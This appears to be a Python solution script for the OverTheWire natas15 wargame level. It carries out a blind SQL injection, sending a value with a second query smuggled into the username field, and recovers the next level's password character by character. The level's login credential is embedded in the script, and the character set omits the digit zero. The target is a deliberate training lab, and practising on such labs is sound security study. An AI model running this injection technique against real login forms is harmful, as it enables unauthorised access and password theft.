# natas15
# Stuart C. Larsen (poptarts4liffe@gmail.com)
import httplib2
from urllib.parse import urlencode
h = httplib2.Http()
h.add_credentials('natas15', 'm2azll7JH6HS8Ay3SOjG3AGGlDGTJSTV')

baseStr = "";
testCharacter="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789"
index = 0
while index < len(testCharacter):
    data = urlencode(dict(username="natas16\" AND password like BINARY \"" + baseStr + testCharacter[index] + "%\" -- "))
    resp, content = h.request("http://natas15.natas.labs.overthewire.org/index.php?" + data, method="POST")
    if ("This user exist" in str(content)):
        baseStr += testCharacter[index];
        print("New Password: " + baseStr)
        index = 0
        continue
    index += 1